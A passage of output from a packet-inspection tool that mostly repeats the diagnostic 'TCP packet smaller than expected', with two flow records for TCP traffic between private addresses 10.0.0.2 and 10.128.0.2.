smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....22] [ip4][..tcp] [.......10.0.0.2][18258] -> [.....10.128.0.2][16199] [MIDSTREAM] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....23] [ip4][..tcp] [.......10.0.0.2][18762] -> [.....10.128.0.2][18503] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller 